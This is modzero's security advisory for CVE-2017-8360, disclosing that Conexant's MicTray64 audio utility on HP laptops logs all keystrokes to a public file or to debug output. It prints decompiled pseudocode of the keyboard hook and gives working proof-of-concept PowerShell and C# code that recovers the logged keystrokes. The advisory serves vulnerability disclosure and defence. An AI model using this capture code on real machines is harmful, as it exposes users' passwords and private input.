---------------------------------------------------------------- v3 -
modzero  Security  Advisory:  Unintended/Covert Storage Channel for 
sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]
---------------------------------------------------------------------

---------------------------------------------------------------------
1. Timeline
---------------------------------------------------------------------

 * 2017-04-28: Vulnerability has been discovered in MicTray64 version 
               1.0.0.31 / Thu Dec 24 08:35:35 2015  
 * 2017-04-28: Vendor Conexant contacted (Email)  
 * 2017-04-29: Higher impact has been discovered in most recent 
               MicTray64 version  1.0.0.46 / Tue Oct 11 10:56:13 2016
 * 2017-04-30: CVE-2017-8360 has been assigned to this vulnerability.
 * 2017-05-01: Contacted Hewlett-Packard Enterprise security advisor 
               with detailed description of the problem.
 * 2017-05-02: Contacted vendor Conexant via Twitter
 * 2017-05-05: Sent technical information to HPE security contact. 
               Informed HPE about releasing the advisory on Monday 8th 
               of May in case we don't get any feedback on our report. 
 * 2017-05-05: Received some notes from HPE after sending technical 
               information. They tried to reach for security folks 
               at HP Inc. to gain attention.
 * 2017-05-11: Release of the advisory
 
---------------------------------------------------------------------
2. Summary
---------------------------------------------------------------------

Vendor: Conexant Systems, Inc.

Software packages known to be affected:

 * Recent and previous (Q2/2017) HP Audiodriver Packages / 
   Conexant High-Definition (HD) Audio Driver 
   Version 10.0.931.89 REV: Q PASS: 5
   (ftp://whp-aus1.cold.extweb.hp.com/pub/softpaq/sp79001-79500/sp79420.html)
 * Probably other hardware vendors, shipping Conexant hardware and 
   drivers

Systems known to be affected:

 According to HP information in sp79420.html, the following systems 
 are affected:
 
 * HARDWARE PRODUCT MODEL(S): 
   HP EliteBook 820 G3 Notebook PC
   HP EliteBook 828 G3 Notebook PC
   HP EliteBook 840 G3 Notebook PC
   HP EliteBook 848 G3 Notebook PC
   HP EliteBook 850 G3 Notebook PC
   HP ProBook 640 G2 Notebook PC
   HP ProBook 650 G2 Notebook PC
   HP ProBook 645 G2 Notebook PC
   HP ProBook 655 G2 Notebook PC
   HP ProBook 450 G3 Notebook PC
   HP ProBook 430 G3 Notebook PC
   HP ProBook 440 G3 Notebook PC
   HP ProBook 446 G3 Notebook PC
   HP ProBook 470 G3 Notebook PC
   HP ProBook 455 G3 Notebook PC
   HP EliteBook 725 G3 Notebook PC
   HP EliteBook 745 G3 Notebook PC
   HP EliteBook 755 G3 Notebook PC
   HP EliteBook 1030 G1 Notebook PC
   HP ZBook 15u G3 Mobile Workstation
   HP Elite x2 1012 G1 Tablet
   HP Elite x2 1012 G1 with Travel Keyboard
   HP Elite x2 1012 G1 Advanced Keyboard
   HP EliteBook Folio 1040 G3 Notebook PC
   HP ZBook 17 G3 Mobile Workstation
   HP ZBook 15 G3 Mobile Workstation
   HP ZBook Studio G3 Mobile Workstation
   HP EliteBook Folio G1 Notebook PC
 * OPERATING SYSTEM(S): 
   Microsoft Windows 10 32
   Microsoft Windows 10 64
   Microsoft Windows 10 IOT Enterprise 32-Bit (x86)
   Microsoft Windows 10 IOT Enterprise 64-Bit (x86)
   Microsoft Windows 7 Enterprise 32 Edition
   Microsoft Windows 7 Enterprise 64 Edition
   Microsoft Windows 7 Home Basic 32 Edition
   Microsoft Windows 7 Home Basic 64 Edition
   Microsoft Windows 7 Home Premium 32 Edition
   Microsoft Windows 7 Home Premium 64 Edition
   Microsoft Windows 7 Professional 32 Edition
   Microsoft Windows 7 Professional 64 Edition
   Microsoft Windows 7 Starter 32 Edition
   Microsoft Windows 7 Ultimate 32 Edition
   Microsoft Windows 7 Ultimate 64 Edition
   Microsoft Windows Embedded Standard 7 32
   Microsoft Windows Embedded Standard 7E 32-Bit
   
CVE-ID: CVE-2017-8360
Severity: High/Medium
Type: Covert Storage Channel
Vendor: Conexant Systems, Inc.
Product: mic tray icon
Version: =< 1.0.0.46
Attack type: Local
Affected Components: Scheduled Task c:\windows\system32\mictray64.exe

---------------------------------------------------------------------
3. Details
---------------------------------------------------------------------

Conexant's MicTray64.exe is installed  with the Conexant audio  driver
package and registered as a Microsoft Scheduled Task to run after each
user login. The  program monitors all  keystrokes made by  the user to
capture  and  react  to  functions  such  as  microphone   mute/unmute
keys/hotkeys. Monitoring of keystrokes is added by implementing a low-
level keyboard input  hook [1] function  that is installed  by calling
SetwindowsHookEx().

In addition to the handling  of hotkey/function key strokes, all  key-
scancode information [2] is written into a logfile in a world-readable
path (C:\Users\Public\MicTray.log). If the  logfile does not exist  or
the setting is not yet  available in Windows registry, all  keystrokes
are passed to the OutputDebugString API, which enables any process  in
the  current  user-context  to  capture  keystrokes  without  exposing
malicious  behavior.  Any framework  and  process with  access  to the
MapViewOfFile API should be able to silently capture sensitive data by
capturing   the  user's   keystrokes.  In   version  10.0.0.31,   only
OutputDebugString was used  to forward key  scancodes and nothing  was
written to files. The  following pseudocode shows the  registration of
the keylogging function handler of MicTray64.exe version 1.0.0.46:

int64 keylogger_enable(bool activate)
{
[...]
    if ( !keylogger_active )
    {
[...]
      // 13=WH_KEYBOARD_LL: Installs a hook procedure that
      // monitors low-level keyboard input events. For 
      // more information, see the LowLevelKeyboardProc 
      // hook procedure.
      hKeyloggerHook = SetWindowsHookExW(
            13, (HOOKPROC)handle_scancode, 
            hSelf, 
            0);
      
      if ( hKeyloggerHook )
      {
        keylogger_active = 1;
        return 0;
      }
[...]
}

After  registering   function  handle_scancode()  as  a   handler  to
any keystroke made by the user, the following pseudo-code is executed
every time a key is pressed or released:

LRESULT handle_scancode(
   int _in_nCode, 
   WPARAM _in_wParam, 
   tagKBDLLHOOKSTRUCT *_in_lParam_keystroke)
{
  tagKBDLLHOOKSTRUCT *key_stroke;
  WPARAM wParam;
  int nCode;
  int64 target; 
  DWORD is_keyfoo; 
  int is_keydown;
  char tmp; 
  int64 key_flags;
  int64 key_vk; 
  
  key_stroke   = _in_lParam_keystroke;
  wParam       = _in_wParam;
  nCode        = _in_nCode;
  
  if ( _in_nCode >= 0 )
  {
    target = (cfg_HotKeyMicScancode >> 8 * 
      (cfg_HotKeyMicScancode_len - cfg_HotKeyMicScancode_len2));
    LODWORD(key_vk)     = _in_lParam_keystroke->vkCode;
    LODWORD(key_flags)  = _in_lParam_keystroke->flags;
    is_keyfoo           = _in_lParam_keystroke->flags & 1;
    is_keydown          = ~(key_flags >> 7) & 1;
    
[*] send_to_dbglog(
      0x1D,
      L"Mic target 0x%x scancode 0x%x flags 0x%x extra 0x%x vk 0x%x\n",
      target,
      _in_lParam_keystroke->scanCode,
      key_flags,
      _in_lParam_keystroke->dwExtraInfo,
      key_vk);
      
    conexant_handle_fn_keys(
      cfg_MicMuteScancodeSettings,
      is_keydown,
      key_stroke->scanCode,
      target,
      &cfg_HotKeyMicScancode_len,
      &cfg_HotKeyMicScancode_len2,
      1);
      
    if ( cfg_MicMuteScancodeSettings & 4 )
      conexant_handle_fn_keys(
        cfg_MicMuteScancodeSettings,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeyMicScancode2 >> 8 * 
            (cfg_HotKeyMicScancode2_len - cfg_HotKeyMicScancode2_len2)),
        &cfg_HotKeyMicScancode2_len,
        &cfg_HotKeyMicScancode2_len2,
        1);
        
    tmp = cfg_SpkMuteScancodeSettings;
    
    if ( cfg_SpkMuteScancodeSettings & 8 && is_keyfoo 
         || !(cfg_SpkMuteScancodeSettings & 8) )
    {
      conexant_handle_fn_keys(
        cfg_SpkMuteScancodeSettings,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeySpkScancode >> 8 * 
            (cfg_HotKeySpkScancode_len - cfg_HotKeySpkScancode_len2)),
        &dword_1402709C8,
        &dword_1402709CC,
        0);
      tmp = cfg_SpkMuteScancodeSettings;
    }
    
    if ( tmp & 4 && (tmp & 8 && is_keyfoo || !(tmp & 8)) )
      conexant_handle_fn_keys(
        tmp,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeySpkScancode2 >> 8 * 
            (cfg_HotKeySpkScancode2_len - cfg_HotKeySpkScancode2_len2)),
        &cfg_HotKeySpkScancode2_len,
        &cfg_HotKeySpkScancode2_len2,
        0);
  }
  return CallNextHookEx(hhk, nCode, wParam, key_stroke);
}

The  function called  at [*]   writes every  keystroke to  a  file  or
broadcast it via Microsofts Debug Monitor APIs via store_keystroke():

void store_keystroke(LPCVOID lpBuffer)
{
  WORD *scancode_logline;
  int64 str_len;
  DWORD NumberOfBytesWritten;
  int str_newline; 
  scancode_logline = lpBuffer;
  if ( g_write_to_logfile )
  {
    SetFilePointer(g_hFile, 0, 0, 2);
    str_len = -1;
    
    while ( scancode_logline[str_len++ + 1] != 0 )
      ;
      
    WriteFile(
      g_hFile, 
      scancode_logline, 
      2 * str_len, 
      &NumberOfBytesWritten, 
      0);
      
    str_newline = '\n\0\r';
    WriteFile(g_hFile, &str_newline, 4, &NumberOfBytesWritten, 0);
  }
  else
  {
    OutputDebugStringW(lpBuffer);
  }
}

This issue leads to a high risk of leaking sensitive user input to any
person    or   process    that   is    able   to    read   files    in
C:\Users\Public\MicTray.log  or  call  MapViewOfFile().  Investigators
with access to  the unencrypted file-system  might be able  to recover
sensitive data of historic key-logs as well. Users are not aware  that
every keystroke made  while entering sensitive  information - such  as
passphrases, passwords on  local or remote  systems - are  captured by
Conexant and exposed to any  process and framework with access  to the
file-system or MapViewOfFile API.
Additionally,  this  information-leak  via  Covert  Storage    Channel
enables malware authors to capture keystrokes  without taking the risk
of being classified as malicious task by AV heuristics.
 
It  is  not  recommended  to  provide  information  on  keystrokes  to
arbitrary  processes  by  writing  keystrokes  to  disk  or  by  using
OutputDebugStringW() for debugging purposes.

---------------------------------------------------------------------
4. Impact
---------------------------------------------------------------------

Any process that is running in the current user-session and  therefore
able to  monitor debug  messages, can  capture keystrokes  made by the
user.  Processes  are  thus  able to  record  sensitive  data  such as
passwords, without performing  suspicious activities that  may trigger
AV vendor heuristics. Furthermore,  any process running on  the system
by any  user is  able to  access all  keystrokes made  by the user via
file-system  access. It  is not  known, if  log-data is  submitted to
Conexant at any time or why all key presses are logged anyway.

---------------------------------------------------------------------
5. Proof of concept exploit
---------------------------------------------------------------------

A  proof-of-concept   can  be  implemented  by   using  PowerShell  to
parse MicTray.log:

$filename = "c:\users\public\MicTray.log"

[System.IO.FileStream]   $fs = [System.IO.File]::Open(
      $filename, 
      [System.IO.FileMode]::Open, 
      [System.IO.FileAccess]::Read, 
      [System.IO.FileShare]::ReadWrite)
         
[System.IO.StreamReader] $fr = [System.IO.StreamReader]::new(
      $fs, 
      [Text.UTF8Encoding]::UNICODE)

$el = 0

while($el -lt 2) {
   
   $line = $fr.ReadLine()

   # handle broken newlines in log...
   if([string]::IsNullOrEmpty($line)) {
      $el++
   } else {
      $el=0
   }

   $mc = [regex]::Match($line, 
         "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$")
   $r = $mc.Groups[2].Value

   if(-Not [string]::IsNullOrEmpty($r)) {
      $i = [convert]::ToInt32($r, 16)
      $c = [convert]::ToChar($i)
      
      if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' }
         
      write-host -NoNewLine $("{0}" -f $c)
   }
}

However,  if no  logfile is  written, it  is also  possible to  obtain
keystrokes  by  just  following Microsoft's  DbMon  Debug  Monitor [3]
approach of capturing strings passed to  OutputDebugString [4]:

namespace mod0_dbgview
{
    class Program
    {
        public static void Main(string[] args)
        {
            DebugMonitor.Start();
            DebugMonitor.OnOutputDebugString += new
                  OnOutputDebugStringHandler(OnOutputDebugString);
            Console.WriteLine("Press 'Enter' to exit.");
            Console.ReadLine();
            DebugMonitor.Stop();
        }
        // version 1.0.0.46
        private static void OnOutputDebugString(int pid, string text)
        {
            char sep = ' ';
            char nl = '\n';
            text = text.TrimEnd(nl);
            string[] items = text.Split(sep);
            if (items[7].Equals("Mic"))
            {
                int c_int = Convert.ToInt32(items[17], 16);
                if (c_int == 0xd)
                {
                    Console.WriteLine();
                }
                else if (Convert.ToInt32(items[13], 16) == 0x00)
                    Console.Write("{0}", (char)(c_int & 0xff));
            }
        }
        
        // version 1.0.0.31
        private static void OnOutputDebugString_v31(
            int pid, 
            string text)
        {
            char sep = ' ';
            string[] items = text.Split(sep);
            if (items[0].Equals("Mic"))
            {
                int c_int = Convert.ToInt32(items[10], 16);
                if (c_int == 0xd)
                {
                    Console.WriteLine();
                }
                else if(Convert.ToInt32(items[6], 16) == 0x00)
                    Console.Write("{0}", (char)(c_int & 0xff));
            }
        }
    }
}

Any framework that provides an  API down to ReadFile() or  Microsoft's
MapViewOfFile()  should  be  able to  capture  keystrokes  captured by
Conexant's audio driver utils. By using Microsoft Windows Sysinternals
Dbgview [5],  keystrokes can  be visualized  easily, if  they are  not
written to file.
   
---------------------------------------------------------------------
6. Workaround
---------------------------------------------------------------------

Delete  MicTray  executables  and logfiles.  Deleting   the  Scheduled
Task  is  not sufficient, as Conexant's Windows Service CxMonSvc  will
launch   MicTray   otherwise.    The   executable   is    located   at
c:\Windows\System32\MicTray64.exe, the MicTray  logfile is located  at
C:\Users\Public\MicTray.log

---------------------------------------------------------------------
7. Fix
---------------------------------------------------------------------

It is not known to modzero, if a security fix is available.

---------------------------------------------------------------------
8. References
---------------------------------------------------------------------

[1] "LowLevelKeyboardProc callback function" - 
    https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
[2] KBDLLHOOKSTRUCT structure - 
    https://msdn.microsoft.com/en-us/library/windows/desktop/ms644967(v=vs.85).aspx
[3] "DbMon: Implements a Debug Monitor" - 
    https://msdn.microsoft.com/en-us/library/aa242171(v=vs.60).aspx
[4] "MSDN/OutputDebugString function" - 
    https://msdn.microsoft.com/en-us/library/windows/desktop/aa363362(v=vs.85).aspx
[5] "Microsoft Windows Sysinternals DebugView" 
    https://technet.microsoft.com/en-us/sysinternals/debugview.aspx
[6] "modzero Security Advisory: Unintended/Covert Storage Channel for 
    sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]" - 
    https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt

SHA256 sums:
127163c863b320814b6f420390db9d5ce48e9158bdb62aa94e953d85ec1e7a89 *MicTray64_v31.exe
7245f89fa00ea5fe5b290758a99288188d58cdaf2f4192ce469a5f4d256eaae0 *MicTray64_v31.i64 (IDA Pro DB by April 29, 2017)
ba1bc46ae6a4a6ecca08028022163e6bba291c330b057c6235c33a7519e617b7 *MicTray64_v31.xml
c046c7f364b42388bb392874129da555d9c688dced3ac1d6a1c6b01df29ea7a8 *MicTray64_v46.exe
4563a0e4e85edeb7ddeba57d1cb8e4a30f1b5ee9fb128725a2664de2aa8c17ec *MicTray64_v46.i64 (IDA Pro DB by April 29, 2017)
ba1bc46ae6a4a6ecca08028022163e6bba291c330b057c6235c33a7519e617b7 *MicTray64_v46.xml 

---------------------------------------------------------------------
9. Credits
---------------------------------------------------------------------

 * Thorsten Schroeder

---------------------------------------------------------------------
10. About modzero
---------------------------------------------------------------------

The  independent  Swiss  company  modzero  AG  assists  clients  with
security analysis  in the complex  areas of computer  technology. The
focus  lies  on  highly  detailed  technical  analysis  of  concepts,
software  and  hardware components  as  well  as the  development  of
individual solutions.  Colleagues at  modzero AG work  exclusively in
practical, highly  technical computer-security areas and  can draw on
decades  of experience  in  various platforms,  system concepts,  and
designs.

https://www.modzero.ch
contact@modzero.ch